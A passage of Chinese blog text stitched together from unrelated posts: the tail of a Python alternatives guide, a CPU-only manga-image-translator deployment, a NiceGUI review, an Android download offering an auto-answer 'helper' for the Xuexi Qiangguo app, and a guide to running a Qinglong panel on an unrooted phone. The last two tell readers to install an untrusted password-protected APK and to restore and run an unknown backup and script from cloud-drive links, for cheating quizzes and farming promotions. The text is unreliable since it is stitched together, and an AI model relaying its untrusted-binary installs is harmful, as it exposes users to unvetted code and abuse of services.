这个命令的意思是,将 /usr/bin/python3 作为可供选择的 Python 版本,并为它设置优先级为 1 。

1.3 运行以下命令,你可以看到所有可供选择的 Python 版本:

update-alternatives --config python

在出现的列表中,选择 Python3 作为默认版本。

2 、同时有 python2 ,python3

还是一样的操作

which python2
which python3

然后,你需要使用 update-alternatives 命令将两个版本的 Python 添加到可选项中。你可以给它们设置一个优先级,数值越大,优先级越高。在这个例子中,我们将给 Python3 设置更高的优先级,使其成为默认版本:

update-alternatives --install /usr/bin/python python /usr/bin/python2 1
update-alternatives --install /usr/bin/python python /usr/bin/python3 2

最后再选择 python3 版本的作为默认版本即可

update-alternatives --config python

项目搭建

接下来就是重头戏了。

添加 swap
首先给你的服务器添加 swap 。因为这个项目还是比较吃内存的,我个人推荐内存+swap 最好大于 8GB 。这里我添加了 8GB 的 swap

按照以下的命令一次复制粘贴执行即可

fallocate -l 8G /swapfile
#创建 swap 文件
chmod 600 /swapfile
#权限设置成只有 root 用户才能读写
mkswap /swapfile
#设置成 swap 空间
swapon /swapfile
#启用 swap 文件
swapon --show
#查看是否成功启用
echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
#重启有效

不用 GPU 搭建一个漫画自动翻译网站项目搭建

项目配置

首先我们需要编译安装pydensecrf,注意一定要先安装这个,不然可能会导致奇奇怪怪的问题

#海外服务器
pip install git+https://github.com/lucasb-eyer/pydensecrf.git
#国内服务器
pip install git+https://ghproxy.com/https://github.com/lucasb-eyer/pydensecrf.git

这个速度可能会有点慢,稍微等几分钟就行。
不用 GPU 搭建一个漫画自动翻译网站项目配置

再拉取项目仓库:

#海外服务器
git clone https://github.com/zyddnys/manga-image-translator.git
#国内服务器
git clone https://ghproxy.com/https://github.com/zyddnys/manga-image-translator.git

安装依赖:

cd manga-image-translator
pip install -r requirements.txt

等依赖安装的过程之中我们可以先看下面的操作。

防火墙设置

项目可以命令行运行也可以 web 运行,我们时需要 web 服务,方便在线访问的。项目 web 模式会默认运行在 5003 端口,所以我们需要先去服务器控制台进行端口开放,如果使用了宝塔服务器还需要去宝塔后台同样进行操作。
腾讯云轻量服务器控制台: https://console.cloud.tencent.com/lighthouse/instance
选择项目服务器,点击防火墙
不用 GPU 搭建一个漫画自动翻译网站防火墙设置

开放 5003 端口协议选 tcp
不用 GPU 搭建一个漫画自动翻译网站开放5003端口

宝塔面板开放端口,操作都是类似的,但是宝塔强制要求备注
不用 GPU 搭建一个漫画自动翻译网站宝塔面板

防火墙设置完成之后,项目依赖应该也已经完成了。

项目运行

我们是 CPU 服务器,需要提供 web 在线服务。
所以我们可以直接用命令行命令,如果是腾讯云的 GPU 服务器,在初始化的时候会自动安装 cuda ,运行命令也只需要加上--use-cuda就可以了

python -m manga_translator --verbose --mode web
python -m manga_translator --verbose --mode web --use-cuda

不用 GPU 搭建一个漫画自动翻译网站项目运行

这时候你可以直接在宝塔面板设置反向代理就可以通过域名访问了
如果你不需要域名,要直接通过 IP:端口来访问,还需要给命令指定 host 才行,否则无法访问公网 IP:端口,内网 IP 可在服务器控制台查看,也可以通过ifconfig命令查看一般都是 eth0 的 ip

python -m manga_translator --verbose --mode web --host 内网 IP
# python -m manga_translator --verbose --mode web --host 10.0.4.14

不用 GPU 搭建一个漫画自动翻译网站ip端口

这样就可以直接在公网通过公网 ip:5003 来访问 web 服务了。
不用 GPU 搭建一个漫画自动翻译网站web服务

我个人偏向于使用离线翻译节约成本,需要其他翻译器的可以查看官方文档添加 api key 。
翻译器列表:
我用的是 m2m100_big 。
首次运行会下载对应翻译模型,OCR 包等大文件不用 GPU 搭建一个漫画自动翻译网站翻译模型

你可以下载对应文件然后上传到对应目录,也可以先看一下是需要下哪些文件,可以提前下好不用 GPU 搭建一个漫画自动翻译网站下载

下载文件都是 github 文件,所以都可以通过加速链接下载源文件到指定文件夹
加速下载方式:

wget https://ghproxy.com/+github-url -P 文件夹
# wget https://ghproxy.com/https://github.com/zyddnys/manga-image-translator/releases/download/beta-0.3/inpainting_lama_mpe.ckpt -P /home/lighthouse/manga-image-translator/models/inpainting

然后就可以看到项目运行了
不用 GPU 搭建一个漫画自动翻译网站项目运行1

整个工作流流程大概分为以下几个:
上传图片——ocr 提取原文——翻译——重新绘图——返回图片
其中可能涉及到分辨率放大处理之类的
下面是我的测试效果:

原图
不用 GPU 搭建一个漫画自动翻译网站原图
完成图
不用 GPU 搭建一个漫画自动翻译网站翻译完成
我对这个效果还是很满意的。

批量翻译

批量翻译只支持命令行翻译

命令行翻译单一图片

# 如果机器有支持 CUDA 的 NVIDIA GPU ,可以添加 `--use-cuda` 参数
# 使用 `--use-cuda-limited` 将需要使用大量显存的翻译交由 CPU 执行,这样可以减少显存占用
# 使用 `--translator=<翻译器名称>` 来指定翻译器
# 使用 `--target-lang=<语言代码>` 来指定目标语言
# 将 <图片文件路径> 替换为图片的路径
# 如果你要翻译的图片比较小或者模糊,可以使用 upscaler 提升图像大小与质量,从而提升检测翻译效果
python -m manga_translator --verbose --use-cuda --translator=google --target-lang=CHS -i <path_to_image_file>
# 结果会存放到 result 文件夹里

批量翻译只要加上--mode batch就可以了

# 其它参数如上
# 使用 `--mode batch` 开启批量翻译模式
# 将 <图片文件夹路径> 替换为图片文件夹的路径
python -m manga_translator --verbose --mode batch --use-cuda --translator=google --target-lang=CHS -i <图片文件夹路径>
# 结果会存放到 `<图片文件夹路径>-translated` 文件夹里

web 服务持续运行

这里推荐两种方法:screen 和 nohup

1 、screen

#安装 screen
apt install screen -y
# 创建一个 shell 窗口

screen -R manga

然后在直接运行 web 服务命令即可。CTRL + A ,CTRL + D 让这个 shell 窗口挂载运行。

下次需要进入这个窗口可以再次输入screen -R manga进入
2 、nohup

nohup python -m manga_translator --verbose --mode web > output.log 2>&1 &

这个命令作用是把所有日志都输出到 output.log 中,最后的&表示让这个命令在后台运行

其他

项目地址: https://github.com/zyddnys/manga-image-translator

项目官方演示站: https://touhou.ai/imgtrans/

项目其他前端: https://github.com/VoileLabs/cotrans

目前在线翻译上用油猴脚本配合CORS插件可以实现最小可用了。 脚本有需要的可以在我的博客找到

NiceGUI 已经 1.0+, 已移除 JustPy 依赖, 只基于 Vue 3 + Quasar 2 + Tailwind 3, 加载速度很快!

?️ NiceGUI 介绍:

  • ✅️ https://github.com/zauberzeug/nicegui
  • ✅️ 之前依赖 JustPy, 加载速度非常慢, 现在已经移除 JustPy.
  • ✅️ 只依赖 Vue 3 + Quasar 2 + Tailwind 3. 实测加载速度非常快! 完全可用.

    官网演示:

https://nicegui.io/documentation
官网+文档示例, 都是基于 nicegui 实现. 加载速度很快. (对比基于 justpy 时, 速度跟?️一样)

?️ 更新评价:

  • ✅️ 200 天前, 评价过这个项目.
  • 当时基于它依赖 JustPy, 给出评价: 垃圾.
  • ✅️ 200 天后, 再看, 移除 JustPy 之后, 加载性能非常好!(代码做了大量重构)
  • 实测开发效率非常高, 上手很快.

    ?️ 本人实测 demo:

    ✅️ https://github.com/better-py/learn-py/tree/main/packages/py-try/try-nicegui

  • 这是一个简单的 desktop APP UI 布局.
  • 总归不到 200 行, 实现非常多的效果.
  • 支持 UI 自适应.
    ✅️ 后续我会做个 nicegui 项目模板(已经做了 70%), 开源出来给大家用.

    Mac + Desktop App 预览效果:

    目前存在的问题:

  • ✅️ 生态很小, 几乎没有. (比较 200 天,才有讨论, 加上首次观感极差!)
  • 好在 1.0+ 源码非常简单, 可读性很好. 1 天不到, 就掌握 7788.
  • Vue 3 + Quasar 2 + Tailwind 3 本身表达能力就很强. 弥补了劣势.
  • ✅️ 打包问题:
  • 使用 PyInstaller 打包成 desktop app, 有 bug. 不正常. 打开+直接退出. (还在调试)
  • 原生不支持更改打包 app icon, 基于 PyInstaller 参数, 可绕过 + 支持.
  • ✅️ system tray 问题: 系统托盘图表.

NiceGUI vs JustPy 对比:

关于 Quasar 2(Vuejs UI 框架):

  • ✅️ https://quasar.dev/vue-components/tabs
  • ✅️ NiceGUI 暴露了 Quasar 2 的 props 和 slots, 使用 Quasar 2 非常简单.
  • ✅️ NiceGUI 源码注释很贴心, 直接贴了 Quasar 2 文档链接.
  • ✅️ 在这之前, 完全没用过 Quasar 2(有 vue3 经验). 参考注释, 使用 Quasar 2 没有障碍!
关于技术选型的思考, 多说一句:
  • ✅️ 虽然我之前一直在使用 vue3 + element-plus, 短暂使用 naive-ui(组件不全).
  • element-plus 挺好用, 文档也完善.
  • 但考虑到 国人项目, 老外几乎不用. (潜在问题, 国外新项目的技术组合, 就几乎不会基于 国人项目)
  • Quasar 2 国内极少有人用, 之前看 v2 前端的评价(不高), 就没关注.
  • 实际 Quasar 2 的体验, 挺好, 也并不复杂.(还是不能轻信他人评价)
  • 想说的是: 如果同类竞品, 有国外项目, 个人建议尽量选国外项目.
  • 不是崇洋媚外, 仅从未来生态丰富度 /现实意义思考.(复用更多开源成果)

Android 学习强国助手 v1.2.46.0-2适配强国最新版本
更新说明
2023年6月4日更新:
1.适配学习强国V2.46.0,适应新规制趣味答题。
2.尝试加入广告。
3.请卸载重新安装。
4.为更新最新题库,请先卸载原APP再安装新版本。若在APP内下载,下载目录在手机跟目录下apk文件夹中。
Android 学习强国助手 v1.2.46.0-2适配强国最新版本1
因为app文件过大,所以压缩之后上传,解压密码:blog.xiaohack.org
下载地址:
夸克王攀:https://pan.quark.cn/s/29ced29a22eb

蓝奏网盘:https://wwxb.lanzoul.com/iZFJ90yp0epe

这方法对于很多想使用青龙来撸各种活动的人来说真的很方便了,毕竟为了撸活动专门搞个服务器好像也不大划算。

准备工作

1、一部备用机(因为东西一直开着很耗电)
2、下载安装我发的压缩包里面的软件
复制这段内容后打开天翼云盘手机App,操作更方便哦!链接:https://cloud.189.cn/t/Mn6zYjUr6Bve(访问码:hc7h)

教程开始

1、解压下载的压缩包,里面一共三个东西,mt管理器,全部安装
手机无root搭建青龙面板
2、打开Zerotermux,给予存储权限,
输入命令termux-setup-storage,回车再输入ls -a命令(这里是ls空格-a)回车出现了storage就开启成功了
若果不成功清除软件全部数据,然后重新操作
手机无root搭建青龙面板1
3、第三步,把下载好的恢复包导入内部存储/xinhao/data/里面,
打开Zerotermux,从左面侧滑会出现拓展栏(请务必关闭全面屏手势,不然一滑就退出),
在左栏找到备份/恢复,之后点进去,再点击恢复,选择你刚才导入的那个包
手机无root搭建青龙面板2
手机无root搭建青龙面板3
手机无root搭建青龙面板4
4、切换到青龙面板容器,
侧滑->容器切换->选择刚刚恢复的容器名称->切换->然后清除后台重启此app

5、检查是否存在青龙控制面板按照程序,
输入以下命令ls -a回车(ls后面是有一个空格),像图上这样说明成功了
手机无root搭建青龙面板5
6、我们需要执行青龙的安装程序输入以下命令./ql.sh
如图一这样运行就代表正在安装,结束之后就可以访问青龙控制面板了,
手机无root搭建青龙面板6
想使用的话,这个软件后台要一直开着